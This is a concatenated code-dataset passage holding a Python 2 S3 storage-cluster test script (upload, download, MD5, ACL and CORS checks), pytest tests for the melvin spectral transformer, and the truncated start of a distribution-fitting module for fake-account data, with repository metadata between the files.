bucket_name = ''.join((random.choice(chars)) for x in range(pwdSize)) logger.info("Bucket Name -> "+bucket_name) try: s3_conn.create_bucket(bucket_name) except Exception, e: logger.error("Bucket Name Create Exception -> "+bucket_name) logger.error(e) return logger.info("Bucket Created -> "+bucket_name) time.sleep(10) #Create the Object Locally for key in objectDict.keys(): try: size = random.randint(1024, 900000) with open(objectDict[key], "wb") as fout: fout.write(os.urandom(size)) except Exception, e: logger.error("Caught Exception in Creating Data Objects") logger.error(e) try: bucket = s3_conn.get_bucket(bucket_name) bucket1 = s3_conn_1.get_bucket(bucket_name) except Exception, e: logger.error("Caught Exception in Get Bucket") logger.error(e) #Upload the File to Cluster for key in objectDict.keys(): time.sleep(1) try: obj_name = objectDict[key] objkey = bucket.new_key(longstrpath+obj_name) objkey.set_contents_from_filename(obj_name) logger.info("Uplaoded Special Char-->"+obj_name) except Exception, e: logger.error("Caught Exception in Uploading file to Cluster ->"+objectDict[key]) logger.error(e) #List Bucket for objkey in bucket.list(): objinfo = "{name}\t{size}\t{modified}".format(name = objkey.name, size = objkey.size, modified = objkey.last_modified, ) logger.debug(objinfo) #Get the File From Cluster for key in objectDict.keys(): time.sleep(1) try: objkey = bucket.get_key(longstrpath+objectDict[key]) toFileName = 'getobjs/'+objectDict[key] #print toFileName objkey.get_contents_to_filename(toFileName) except Exception, e: logger.error("Caught Exception in Getting file from Cluster ->"+objectDict[key]) logger.error(e) #Get the File From Cluster 1 for key in objectDict.keys(): time.sleep(1) try: objkey = bucket1.get_key(longstrpath+objectDict[key]) toFileName = 'getobjs1/'+objectDict[key] #print toFileName objkey.get_contents_to_filename(toFileName) except Exception, e: logger.error("Caught Exception in Getting file from Cluster ->"+objectDict[key]) logger.error(e) #Perfom MD5sum Local and Copied File for key in objectDict.keys(): try: #MD5 of Local Objects hash_md5_local = hashlib.md5() with open(objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_local.update(chunk) hash_md5_local_digest = hash_md5_local.hexdigest() #Md5 of Remote Objects hash_md5_remote = hashlib.md5() with open('getobjs/'+objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_remote.update(chunk) hash_md5_remote_digest = hash_md5_remote.hexdigest() if hash_md5_local_digest == hash_md5_remote_digest : logger.debug("MD5 Matches for Special") else: logger.error("MD5 MISMATCH for Object-> "+objectDict[key]) logger.error("Local MD5-> "+ hash_md5_local_digest) logger.error("Remote MD5-> "+ hash_md5_remote_digest) except Exception, e: logger.error("Exception While Handling Md5SUM") logger.error(e) #Perfom MD5sum Local and Copied File on 1 for key in objectDict.keys(): try: #MD5 of Local Objects hash_md5_local = hashlib.md5() with open(objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_local.update(chunk) hash_md5_local_digest = hash_md5_local.hexdigest() #Md5 of Remote Objects hash_md5_remote = hashlib.md5() with open('getobjs1/'+objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_remote.update(chunk) hash_md5_remote_digest = hash_md5_remote.hexdigest() if hash_md5_local_digest == hash_md5_remote_digest : logger.debug("MD5 Matches for Special 1") else: logger.error("MD5 MISMATCH for Object 1-> "+objectDict[key]) logger.error("Local MD5 1 -> "+ hash_md5_local_digest) logger.error("Remote MD5 1-> "+ hash_md5_remote_digest) except Exception, e: logger.error("Exception While Handling Md5SUM") logger.error(e) #Delete File From Cluster for key in objectDict.keys(): time.sleep(1) try: bucket.delete_key(longstrpath+objectDict[key]) except Exception, e: logger.error("Caught Exception in Deleting Object") logger.error(e) #Remove the File Locally for key in objectDict.keys(): try: os.remove(objectDict[key]) except Exception, e: logger.error("Caught Exception in Removing Object") logger.error(e) #Remove the File From GetObj Dir for key in objectDict.keys(): try: os.remove('getobjs/'+objectDict[key]) os.remove('getobjs1/'+objectDict[key]) except Exception, e: logger.error("Caught Exception in Removing Object from getObjs") logger.error(e) #List Bucket logger.debug("Listing Buckets Should Be Empty for -> " + bucket_name) for objkey in bucket.list(): objinfo = "{name}\t{size}\t{modified}".format(name = objkey.name, size = objkey.size, modified = objkey.last_modified, ) logger.error("ERRORED: Object Found" + objinfo) #Finally Remove the Bucket try: s3_conn.delete_bucket(bucket_name) logger.error("Bucket Deleted -> " + bucket_name) except Exception, e: logger.error("Exception while Deleting bucker ->" + bucket_name) logger.error(e) def startObjectTest(s3_conn, s3_conn_1, sizeObj): global ctr logger.info("Start Object TEst Running Test for Iteration -> "+str(ctr)) ctr = ctr + 1 objectDict = {} bucket=0 bucket1=0 for i in range (128): chars = string.letters + string.digits pwdSize = 32 fileName = ''.join((random.choice(chars)) for x in range(pwdSize)) fileName = fileName + ".data" objectDict[i]=fileName #Print the Dict #for key in objectDict.keys(): #print key, objectDict[key] #Create The Bucket chars = string.ascii_lowercase + string.digits pwdSize = 24 bucket_name = ''.join((random.choice(chars)) for x in range(pwdSize)) logger.info("Bucket Name -> "+bucket_name) try: s3_conn.create_bucket(bucket_name) except Exception, e: logger.error("Bucket Name Create Exception -> "+bucket_name) logger.error(e) return logger.info("Bucket Created -> "+bucket_name) #Create the Object Locally for key in objectDict.keys(): try: size = random.randint(1024, 900000) with open(objectDict[key], "wb") as fout: fout.write(os.urandom(size)) except Exception, e: logger.error("Caught Exception in Creating Data Objects") logger.error(e) try: bucket = s3_conn.get_bucket(bucket_name) bucket1 = s3_conn_1.get_bucket(bucket_name) except Exception, e: logger.error("Caught Exception in Get Bucket") logger.error(e) #Upload the File to Cluster for key in objectDict.keys(): time.sleep(1) try: obj_name = objectDict[key] objkey = bucket.new_key(obj_name) objkey.set_contents_from_filename(obj_name) logger.info("Uploaded Object "+obj_name) except Exception, e: logger.error("Caught Exception in Uploading file to Cluster ->"+objectDict[key]) logger.error(e) #List Bucket for objkey in bucket.list(): objinfo = "{name}\t{size}\t{modified}".format(name = objkey.name, size = objkey.size, modified = objkey.last_modified, ) logger.debug(objinfo) #Get the File From Cluster for key in objectDict.keys(): time.sleep(1) try: objkey = bucket.get_key(objectDict[key]) toFileName = 'getobjs/'+objectDict[key] #print toFileName objkey.get_contents_to_filename(toFileName) logger.info("GOt Object from "+obj_name) except Exception, e: logger.error("Caught Exception in Getting file from Cluster ->"+objectDict[key]) logger.error(e) #Perfom MD5sum Local and Copied File for key in objectDict.keys(): try: #MD5 of Local Objects hash_md5_local = hashlib.md5() with open(objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_local.update(chunk) hash_md5_local_digest = hash_md5_local.hexdigest() #Md5 of Remote Objects hash_md5_remote = hashlib.md5() with open('getobjs/'+objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_remote.update(chunk) hash_md5_remote_digest = hash_md5_remote.hexdigest() if hash_md5_local_digest == hash_md5_remote_digest : logger.info("MD5 Matches for ->" + objectDict[key]) else: logger.error("MD5 MISMATCH for Object-> "+objectDict[key]) logger.error("Local MD5-> "+ hash_md5_local_digest) logger.error("Remote MD5-> "+ hash_md5_remote_digest) except Exception, e: logger.error("Exception While Handling Md5SUM") logger.error(e) #Delete File From Cluster for key in objectDict.keys(): time.sleep(1) try: bucket.delete_key(objectDict[key]) except Exception, e: logger.error("Caught Exception in Deleting Object") logger.error(e) #Remove the File Locally for key in objectDict.keys(): try: os.remove(objectDict[key]) except Exception, e: logger.error("Caught Exception in Removing Object") logger.error(e) #Remove the File From GetObj Dir for key in objectDict.keys(): try: os.remove('getobjs/'+objectDict[key]) except Exception, e: logger.error("Caught Exception in Removing Object from getObjs") logger.error(e) #List Bucket logger.debug("Listing Buckets Should Be Empty for -> " + bucket_name) for objkey in bucket.list(): objinfo = "{name}\t{size}\t{modified}".format(name = objkey.name, size = objkey.size, modified = objkey.last_modified, ) logger.error("ERRORED: Object Found" + objinfo) #Finally Remove the Bucket try: s3_conn.delete_bucket(bucket_name) logger.info("Bucket Deleted -> " + bucket_name) except Exception, e: logger.error("Exception while Deleting bucker ->" + bucket_name) logger.error(e) def startaclcorstest(s3_conn, s3_conn_1, size): global ctr logger.info("Running Test for Iteration -> "+str(ctr)) ctr = ctr + 1 size = 16345 objectDict = {} for i in range (16): chars = string.letters + string.digits pwdSize = 32 fileName = ''.join((random.choice(chars)) for x in range(pwdSize)) fileName = fileName + ".data" objectDict[i]=fileName #Print the Dict #for key in objectDict.keys(): #print key, objectDict[key] #Create The Bucket chars = string.ascii_lowercase + string.digits pwdSize = 24 bucket_name = ''.join((random.choice(chars)) for x in range(pwdSize)) logger.info("Bucket Name -> "+bucket_name) try: s3_conn.create_bucket(bucket_name) except Exception, e: logger.error("Bucket Name Create Exception -> "+bucket_name) logger.error(e) return logger.info("Bucket Created -> "+bucket_name) #Create the Object Locally for key in objectDict.keys(): try: with open(objectDict[key], "wb") as fout: fout.write(os.urandom(size)) except Exception, e: logger.error("Caught Exception in Creating Data Objects") logger.error(e) bucket = s3_conn.get_bucket(bucket_name) bucket1 = s3_conn_1.get_bucket(bucket_name) logger.info("Now Setting the CORS CONFIG") try: cors_cfg = CORSConfiguration() cors_cfg.add_rule(['PUT', 'POST', 'DELETE'], 'https://www.example.com', allowed_header='*', max_age_seconds=3000, expose_header='x-amz-server-side-encryption') cors_cfg.add_rule('GET', '*') bucket.set_cors(cors_cfg) logger.info("Set Config CORS For Bucket Sucess ->"+bucket_name) except Exception, e: logger.error("Error in Setting Cors Config") logger.info("Lets Get the CORS CONFIG") try: l_cors_cfg = bucket.get_cors_xml() logger.info("got Cors Cfg") logger.info(l_cors_cfg) except Exception, e: logger.error("Error In Getting CORS CONFIG FOR BUCKET ->"+bucket_name) logger.info("Lets Get the CORS CONFIG 1") try: l_cors_cfg = bucket1.get_cors_xml() logger.info("got Cors Cfg1") logger.info(l_cors_cfg) except Exception, e: logger.error("Error In Getting CORS CONFIG FOR BUCKET ->"+bucket_name) #Upload the File to Cluster for key in objectDict.keys(): time.sleep(1) try: obj_name = objectDict[key] objkey = bucket.new_key(obj_name) objkey.set_contents_from_filename(obj_name) logger.info("Suucess Uploading file to Cluster ->"+objectDict[key]) except Exception, e: logger.error("Caught Exception in Uploading file to Cluster ->"+objectDict[key]) logger.error(e) #List Bucket for objkey in bucket.list(): objinfo = "{name}\t{size}\t{modified}".format(name = objkey.name, size = objkey.size, modified = objkey.last_modified, ) logger.debug(objinfo) #Get the File From Cluster for key in objectDict.keys(): time.sleep(1) try: objkey = bucket.get_key(objectDict[key]) toFileName = 'getobjs/'+objectDict[key] #print toFileName objkey.get_contents_to_filename(toFileName) logger.info("Success Getting file from Cluster ->"+objectDict[key]) except Exception, e: logger.error("Caught Exception in Getting file from Cluster ->"+objectDict[key]) logger.error(e) #Get the File From Cluster1 for key in objectDict.keys(): time.sleep(1) try: objkey = bucket1.get_key(objectDict[key]) toFileName = 'getobjs/'+objectDict[key] #print toFileName objkey.get_contents_to_filename(toFileName) logger.info("Success Getting file from Cluster 1->"+objectDict[key]) except Exception, e: logger.error("Caught Exception in Getting file from Cluster ->"+objectDict[key]) logger.error(e) #Peform Set Acl Canned ctr=0 for key in objectDict.keys(): try: if ctr%2 == 0: objkey = bucket.get_key(objectDict[key]) bucket.set_acl('public-read', objkey) logger.info("Set PUBLIC Canned ACl for -->"+objectDict[key]) logger.info("Begin Lookup") getacl = objkey.get_acl() ctr = ctr + 1 # #for grant in getacl.acl.grants: #logger.info("Gpermission ->" + grant.permission) #logger.info("G Display Name ->" + grant.display_name) #logger.info("GEMail ID ->" + grant.email_address) #logger.info("GID ->" + grant.id) except Exception, e: logger.error("Error In Setting Canned Acls") logger.info("Waiting for 3") time.sleep(3) #Peform Set Acl Canned 1 ctr=0 for key in objectDict.keys(): try: if ctr%2 == 0: objkey = bucket1.get_key(objectDict[key]) bucket1.set_acl('public-read', objkey) logger.info("Set PUBLIC Canned ACl for 1 -->"+objectDict[key]) logger.info("Begin Lookup") getacl = objkey.get_acl() logger.info("Link is-->" + bucket_name +"/" + objectDict[key]) ctr = ctr + 1 # #for grant in getacl.acl.grants: #logger.info("Gpermission ->" + grant.permission) #logger.info("G Display Name ->" + grant.display_name) #logger.info("GEMail ID ->" + grant.email_address) #logger.info("GID ->" + grant.id) except Exception, e: logger.error("Error In Setting Canned Acls 1") time.sleep(120) #Perfom MD5sum Local and Copied File for key in objectDict.keys(): try: #MD5 of Local Objects hash_md5_local = hashlib.md5() with open(objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_local.update(chunk) hash_md5_local_digest = hash_md5_local.hexdigest() #Md5 of Remote Objects hash_md5_remote = hashlib.md5() with open('getobjs/'+objectDict[key], "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5_remote.update(chunk) hash_md5_remote_digest = hash_md5_remote.hexdigest() if hash_md5_local_digest == hash_md5_remote_digest : logger.info("MD5 Matches for ->" +objectDict[key]) else: logger.error("MD5 MISMATCH for Object-> "+objectDict[key]) logger.error("Local MD5-> "+ hash_md5_local_digest) logger.error("Remote MD5-> "+ hash_md5_remote_digest) except Exception, e: logger.error("Exception While Handling Md5SUM") logger.error(e) #Delete File From Cluster for key in objectDict.keys(): time.sleep(1) try: bucket.delete_key(objectDict[key]) logger.info("Success in Deleting Object from -> " +objectDict[key]) except Exception, e: logger.error("Caught Exception in Deleting Object") logger.error(e) #Remove the File Locally for key in objectDict.keys(): try: os.remove(objectDict[key]) except Exception, e: logger.error("Caught Exception in Removing Object") logger.error(e) #Remove the File From GetObj Dir for key in objectDict.keys(): try: os.remove('getobjs/'+objectDict[key]) except Exception, e: logger.error("Caught Exception in Removing Object from getObjs") logger.error(e) #List Bucket logger.debug("Listing Buckets Should Be Empty for -> " + bucket_name) for objkey in bucket.list(): objinfo = "{name}\t{size}\t{modified}".format(name = objkey.name, size = objkey.size, modified = objkey.last_modified, ) logger.error("ERRORED: Object Found" + objinfo) """ try: logger.info("Now Trying to make the Bucket Public") bucket.set_acl('public-read') logger.info("Set the Bucket as Public") except Exception, e: logger.error("Exception in Setting Public Acl to the Bucket") logger.error(e) logger.info("Sleeping For Some Time Beofre Deleteing") """ time.sleep(10) #Finally Remove the Bucket try: s3_conn.delete_bucket(bucket_name) logger.error("Bucket Deleted -> " + bucket_name) except Exception, e: logger.error("Exception while Deleting bucker ->" + bucket_name) logger.error(e) if __name__ == "__main__": try: src_conn = boto.connect_s3(aws_access_key_id='XXXXXXXXXXXX', aws_secret_access_key='XXXXXXXXXx', host="XXXXXXXx", is_secure=False, calling_format=boto.s3.connection.OrdinaryCallingFormat()) print src_conn dst_conn_1 = boto.connect_s3(aws_access_key_id='XXXXXXXXxx', aws_secret_access_key='XXXXXXXXx', host="XXXXXXXXX", is_secure=False, calling_format=boto.s3.connection.OrdinaryCallingFormat()) print dst_conn handle_thPool=ThreadPool(1) while True: #Do Forever or Until Conditions Breaks handle_thPool.add_task(startObjectTest,[s3_conn,s3_conn_1,"4000",]) #handle_thPool.add_task(startObjectTest,[s3_conn,s3_conn_1,"4000",]) #handle_thPool.add_task(startSpecialObjectTest,[s3_conn,s3_conn_1,"200000",]) #handle_thPool.add_task(startMPUTest,[s3_conn,s3_conn_1,"200000",]) #handle_thPool.add_task(startaclcorstest,[s3_conn,s3_conn_1,"200000",]) except Exception, e: print("Caught Exception in Main") print e

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0.033011

0.057831

0.791478

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0.73542

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0.717325

0

0.019869

0.320584

28,891

808

169

35.756188

0.81349

0.099547

0

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0.009703

0.003478

0

null

0

0.027826

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null

0

1

0

1

0

null

0

1

0

7

82eca8312e2c0b103ba5df9aad7856414f22718e

9,363

py

Python

test/SpectralTransformer_test.py

JamieJQuinn/Melvin-python

4094e2c21e302304d75a961f14887edbbfba2964

[ "MIT" ]

2

2021-05-27T16:49:59.000Z

2021-09-25T01:41:41.000Z

test/SpectralTransformer_test.py

JamieJQuinn/Melvin-python

4094e2c21e302304d75a961f14887edbbfba2964

[ "MIT" ]

7

2021-05-03T15:55:32.000Z

2021-05-18T17:20:57.000Z

test/SpectralTransformer_test.py

JamieJQuinn/Melvin.py

4094e2c21e302304d75a961f14887edbbfba2964

[ "MIT" ]

null

import numpy as np import pytest from pytest import approx from numpy.testing import assert_array_almost_equal from melvin import BasisFunctions, ArrayFactory, SpectralTransformer @pytest.fixture def periodic_coordinates(parameters): p = parameters x = np.linspace(0, 1.0, p.nx, endpoint=False) z = np.linspace(0, 1.0, p.nz, endpoint=False) X, Z = np.meshgrid(x, z, indexing="ij") return X, Z @pytest.fixture def coordinates(parameters): p = parameters x = np.linspace(0, 1.0, p.nx) z = np.linspace(0, 1.0, p.nz) X, Z = np.meshgrid(x, z, indexing="ij") return X, Z def test_transform_periodic(arrays, st, periodic_coordinates): spectral, physical = arrays X, Z = periodic_coordinates true_physical = np.cos(2 * np.pi * X) + 2.0 * np.sin(2 * 2 * np.pi * Z) st.to_spectral( true_physical, spectral, basis_functions=[ BasisFunctions.COMPLEX_EXP, BasisFunctions.COMPLEX_EXP, ], ) true_spectral = np.zeros_like(spectral) # These values are those in front of cosine divided by two true_spectral[1, 0] = 1.0 / 2.0 true_spectral[-1, 0] = 1.0 / 2.0 # complex conjugate is also calculated # Sine coefficients are complex, negative and also divided by two true_spectral[0, 2] = 2.0j / -2.0 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[ BasisFunctions.COMPLEX_EXP, BasisFunctions.COMPLEX_EXP, ], ) assert_array_almost_equal(physical, true_physical) def test_transform_cosine_x_periodic_z(arrays, st, parameters): spectral, physical = arrays p = parameters x = np.linspace(0, 1.0, p.nx) z = np.linspace(0, 1.0, p.nz, endpoint=False) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = np.cos(np.pi * X) + 2.0 * np.cos(2 * np.pi * X) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.COSINE, BasisFunctions.COMPLEX_EXP], ) true_spectral = np.zeros_like(spectral) true_spectral[1, 0] = 1.0 true_spectral[2, 0] = 2.0 true_spectral[-1, 0] = 1.0 true_spectral[-2, 0] = 2.0 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.COSINE, BasisFunctions.COMPLEX_EXP], ) assert_array_almost_equal(physical, true_physical) def test_transform_periodic_x_cosine_z(arrays, st, parameters): spectral, physical = arrays p = parameters x = np.linspace(0, 1.0, p.nx, endpoint=False) z = np.linspace(0, 1.0, p.nz) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = np.cos(np.pi * Z) + 2.0 * np.cos(2 * np.pi * Z) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.COMPLEX_EXP, BasisFunctions.COSINE], ) true_spectral = np.zeros_like(spectral) true_spectral[0, 1] = 1.0 true_spectral[0, 2] = 2.0 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.COMPLEX_EXP, BasisFunctions.COSINE], ) assert_array_almost_equal(physical, true_physical) def test_transform_cosine_both(arrays, st, parameters): spectral, physical = arrays p = parameters x = np.linspace(0, 1.0, p.nx, endpoint=True) z = np.linspace(0, 1.0, p.nz, endpoint=True) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = ( np.cos(np.pi * Z) + 2.0 * np.cos(2 * np.pi * Z) + np.cos(np.pi * X) + 2.0 * np.cos(2 * np.pi * X) * np.cos(1 * np.pi * Z) ) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.COSINE, BasisFunctions.COSINE], ) true_spectral = np.zeros_like(spectral) true_spectral[0, 1] = 1.0 true_spectral[0, 2] = 2.0 true_spectral[1, 0] = 1.0 true_spectral[2, 1] = 2.0 true_spectral[-1, 0] = 1.0 true_spectral[-2, 1] = 2.0 # np.set_printoptions(suppress=True, precision=4) # print(spectral) # print(true_spectral) assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.COSINE, BasisFunctions.COSINE], ) assert_array_almost_equal(physical, true_physical) def test_transform_sine_both(arrays, st, parameters): spectral, physical = arrays p = parameters x = np.linspace(0, 1.0, p.nx, endpoint=True) z = np.linspace(0, 1.0, p.nz, endpoint=True) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = np.sin(np.pi * Z) * np.sin(np.pi * X) + 2.0 * np.sin( 2 * np.pi * Z ) * np.sin(3 * np.pi * X) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.SINE, BasisFunctions.SINE], ) true_spectral = np.zeros_like(spectral) true_spectral[1, 1] = 1.0 true_spectral[-1, 1] = -1.0 true_spectral[3, 2] = 2.0 true_spectral[-3, 2] = -2.0 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.SINE, BasisFunctions.SINE], ) assert_array_almost_equal(physical, true_physical) def test_transform_sine_x_periodic_z(arrays, st, parameters): spectral, physical = arrays p = parameters x = np.linspace(0, 1.0, p.nx, endpoint=True) z = np.linspace(0, 1.0, p.nz, endpoint=False) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = np.sin(np.pi * X) + 2.0 * np.sin(2 * np.pi * X) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.SINE, BasisFunctions.COMPLEX_EXP], ) true_spectral = np.zeros_like(spectral) true_spectral[1, 0] = 1.0 true_spectral[-1, 0] = -1.0 # x is sine, complex conj is negative true_spectral[2, 0] = 2.0 true_spectral[-2, 0] = -2.0 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.SINE, BasisFunctions.COMPLEX_EXP], ) assert_array_almost_equal(physical, true_physical) def test_transform_sine_x_cosine_z(arrays, st, parameters): spectral, physical = arrays p = parameters x = np.linspace(0, 1.0, p.nx, endpoint=True) z = np.linspace(0, 1.0, p.nz, endpoint=True) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = np.sin(np.pi * X) + 2.0 * np.sin(2 * np.pi * X) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.SINE, BasisFunctions.COSINE], ) true_spectral = np.zeros_like(spectral) true_spectral[1, 0] = 1.0 true_spectral[-1, 0] = -1.0 # x is sine, complex conj is negative true_spectral[2, 0] = 2.0 true_spectral[-2, 0] = -2.0 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.SINE, BasisFunctions.COSINE], ) assert_array_almost_equal(physical, true_physical) def test_transform_cosine_x_sine_z(arrays, st, parameters): spectral, physical = arrays p = parameters x = np.linspace(0, 1.0, p.nx, endpoint=True) z = np.linspace(0, 1.0, p.nz, endpoint=True) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = ( np.cos(np.pi * X) * np.sin(np.pi * Z) + 2.0 * np.cos(3 * np.pi * X) * np.sin(2 * np.pi * Z) + 3.0 * np.sin(2 * np.pi * Z) ) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.COSINE, BasisFunctions.SINE], ) true_spectral = np.zeros_like(spectral) true_spectral[1, 1] = 1.0 true_spectral[-1, 1] = 1.0 # x is cosine, complex conjugate is the same true_spectral[0, 2] = 3.0 true_spectral[3, 2] = 2.0 true_spectral[-3, 2] = 2.0 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.COSINE, BasisFunctions.SINE], ) assert_array_almost_equal(physical, true_physical) def test_transform_periodic_x_fdm_z(fdm_parameters): p = fdm_parameters array_factory = ArrayFactory(fdm_parameters, np) st = SpectralTransformer(fdm_parameters, np, array_factory=array_factory) spectral = array_factory.make_spectral() physical = array_factory.make_physical() x = np.linspace(0, 1.0, p.nx, endpoint=False) z = np.linspace(0, 1.0, p.nz) X, Z = np.meshgrid(x, z, indexing="ij") true_physical = ( 3.0 + np.cos(2 * np.pi * X) + 2.0 * np.cos(2 * 2 * np.pi * X) ) st.to_spectral( true_physical, spectral, basis_functions=[BasisFunctions.COMPLEX_EXP, BasisFunctions.FDM], ) true_spectral = np.zeros_like(spectral) true_spectral[0, :] = 3.0 true_spectral[1, :] = 1.0 / 2 true_spectral[2, :] = 2.0 / 2 assert_array_almost_equal(spectral, true_spectral) st.to_physical( spectral, physical, basis_functions=[BasisFunctions.COMPLEX_EXP, BasisFunctions.FDM], ) assert_array_almost_equal(physical, true_physical)

26.82808

77

0.640073

1,332

9,363

4.313063

0.065315

0.112794

0.015666

0.041775

0.868755

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0

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0.238706

9,363

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0

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null

0

1

0

1

0

null

0

7

d238c50f355bd558a2d9be4903fe2fbd247c63c2

73,798

py

Python

social_capital/adv_cred_functions.py

zguo1010/osd

e0df06b6586b224c5ac035b5a2a1536a39c3ca45

[ "MIT" ]

null

social_capital/adv_cred_functions.py

zguo1010/osd

e0df06b6586b224c5ac035b5a2a1536a39c3ca45

[ "MIT" ]

null

social_capital/adv_cred_functions.py

zguo1010/osd

e0df06b6586b224c5ac035b5a2a1536a39c3ca45

[ "MIT" ]

null

#!/usr/bin/env python # coding: utf-8 import pandas as pd import numpy as np import matplotlib.pyplot as plt import networkx as nx import scipy import scipy.stats import warnings import math import time import random from numpy.random import choice, randint, seed from datetime import date from copy import deepcopy import os from multiprocessing import Process, Value, Array '''change max values''' def maximum_cap(data, feature='ave_share', thresh=0.05, binnum=10): result1 = np.histogram(data.loc[data['label'] == "Fake", :][feature], bins=binnum) cnt1 = sum(data['label'] == "Fake") xmax1 = result1[1][-1] # Legit class result2 = np.histogram(data.loc[data['label'] == "Legit", :][feature], bins=binnum) cnt2 = sum(data['label'] == "Legit") xmax2 = result2[1][-1] # set x-axix cut xval = max(result1[1][sum(result1[0] >= cnt1 * thresh)], result2[1][sum(result2[0] >= cnt2 * thresh)]) data.loc[data[feature] > xval, feature] = xval return '''drawing best fit probability density functions''' def fitting_distribution(data, feature='verified', dname='FakeLikers', method='SC', drawing=False, binnum=20, out=20): xmax = max(data[feature]) xmin = min(data[feature]) # Fake Class result1 = np.histogram(data.loc[data['label'] == "Fake", :][feature], bins=binnum, range=(xmin, xmax)) cnt1 = sum(data['label'] == "Fake") x1 = result1[1] y1 = data.loc[data['label'] == "Fake", :][feature] # Legit class result2 = np.histogram(data.loc[data['label'] == "Legit", :][feature], bins=binnum, range=(xmin, xmax)) cnt2 = sum(data['label'] == "Legit") x2 = result2[1] y2 = data.loc[data['label'] == "Legit", :][feature] # histogram with same height height = max(np.max(result1[0]) / cnt1, np.max(result2[0]) / cnt2) tmp = round(height * 10) / 10 if tmp < height: height = tmp + 0.1 else: height = tmp width = result1[1][1] - result1[1][0] dist_names = ['alpha', 'anglit', 'arcsine', 'beta', 'betaprime', 'binom', 'bradford', 'burr', 'cauchy', 'chi', 'chi2', 'cosine', 'dgamma', 'dweibull', 'erlang', 'expon', 'exponnorm', 'exponweib', 'exponpow', 'f', 'fatiguelife', 'fisk', 'foldcauchy', 'foldnorm', 'genlogistic', 'genpareto', 'gennorm', 'genexpon', 'genextreme', 'gausshyper', 'gamma', 'gengamma', 'genhalflogistic', 'gilbrat', 'gompertz', 'gumbel_r', 'gumbel_l', 'halfcauchy', 'halfnorm', 'halfgennorm', 'hypsecant', 'invgamma', 'invgauss', 'halflogistic', 'invweibull', 'johnsonsb', 'johnsonsu', 'ksone', 'kstwobign', 'laplace', 'levy_l', # 'levy','levy_stable', 'logistic', 'loggamma', 'loglaplace', 'lognorm', 'lomax', 'maxwell', 'mielke', 'nakagami', 'ncx2', 'ncf', 'nct', 'norm', 'pareto', 'pearson3', 'powerlaw', 'powerlognorm', 'powernorm', 'rdist', 'reciprocal', 'rayleigh', 'rice', 'recipinvgauss', 'semicircular', 't', 'triang', 'truncexpon', 'truncnorm', 'tukeylambda', 'uniform', 'vonmises', 'vonmises_line', 'wald', 'weibull_min', 'weibull_max', 'wrapcauchy'] # best fit probability model for Fake class best_name1 = 'expon' best_distribution1 = getattr(scipy.stats, best_name1) best_sse1 = np.inf best_params1 = (0.0, 1.0) for dist_name in dist_names: try: with warnings.catch_warnings(): warnings.filterwarnings('ignore') # Fit dist data dist = getattr(scipy.stats, dist_name) params = dist.fit(y1) # Separate parts of parameters arg = params[:-2] loc = params[-2] scale = params[-1] # Calculate fitted PDF and error with fit in distribution pdf = dist.pdf(x1[:-1], loc=loc, scale=scale, *arg) * width sse = np.sum(np.power(result1[0] / cnt1 - pdf, 2.0)) # Identify if this distribution is better if best_sse1 > sse > 0: best_distribution1 = dist best_params1 = params best_sse1 = sse best_name1 = dist_name except Exception: pass # plot the best fit curve for Fake class if drawing == True: plt.figure(figsize=(7, 5)) plt.ylim(0, height) width = result1[1][1] - result1[1][0] if x1[-1] > 40: x1_list = np.arange(x1[-1]) elif x1[-1] > 5: x1_list = np.arange(0, x1[-1], 0.2) elif x1[-1] > 0.5: x1_list = np.arange(0, x1[-1], 0.05) else: x1_list = np.arange(0, x1[-1], 0.005) pdf_fitted1 = best_distribution1.pdf(x1_list, *best_params1[:-2], loc=best_params1[-2], scale=best_params1[-1]) * width # Draw histogram with density for Fake class plt.bar(x1[:-1], result1[0] / cnt1, width=width * 0.75, color='r', alpha=0.1, label='Attackers') plt.plot(x1_list, pdf_fitted1, label='Attackers: ' + best_name1, color='r') # best fit probability model for Legit class best_name2 = 'expon' best_distribution2 = getattr(scipy.stats, best_name2) best_sse2 = np.inf best_params2 = (0.0, 1.0) for dist_name in dist_names: try: with warnings.catch_warnings(): warnings.filterwarnings('ignore') # Fit dist data dist = getattr(scipy.stats, dist_name) params = dist.fit(y2) # Separate parts of parameters arg = params[:-2] loc = params[-2] scale = params[-1] # Calculate fitted PDF and error with fit in distribution pdf = dist.pdf(x2[:-1], loc=loc, scale=scale, *arg) * width sse = np.sum(np.power(result2[0] / cnt2 - pdf, 2.0)) # identify if this distribution is better if best_sse2 > sse > 0: best_distribution2 = dist best_params2 = params best_sse2 = sse best_name2 = 